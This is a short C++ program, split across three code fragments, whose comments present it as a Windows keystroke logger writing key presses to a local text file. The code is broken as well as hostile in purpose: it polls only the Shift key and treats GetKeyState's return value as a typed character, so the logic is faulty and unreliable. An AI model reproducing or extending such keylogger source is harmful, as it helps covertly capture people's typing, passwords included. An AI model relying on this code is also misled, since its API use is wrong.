```cpp
#include <iostream>

#include <fstream>

#include <Windows.h>


using namespace std;


int main() {

  // Open a file for writing keystrokes

  ofstream logFile("keystrokes.txt");



  if (!logFile.is_open()) {
```

```cpp
        cerr << "Error opening file for writing." << endl;

        return 1;

}


// Start listening for keystrokes

while (true) {

    // Get the next keystroke

    int key = GetAsyncKeyState(VK_SHIFT);



    if (key & 0x8000) { // Check if key is pressed

        char keyChar = (char)GetKeyState(VK_SHIFT); // Get key character
```

```cpp
        // Write keystroke to file

        logFile << keyChar;

    }

}


// Close the file

logFile.close();


return 0;

}
```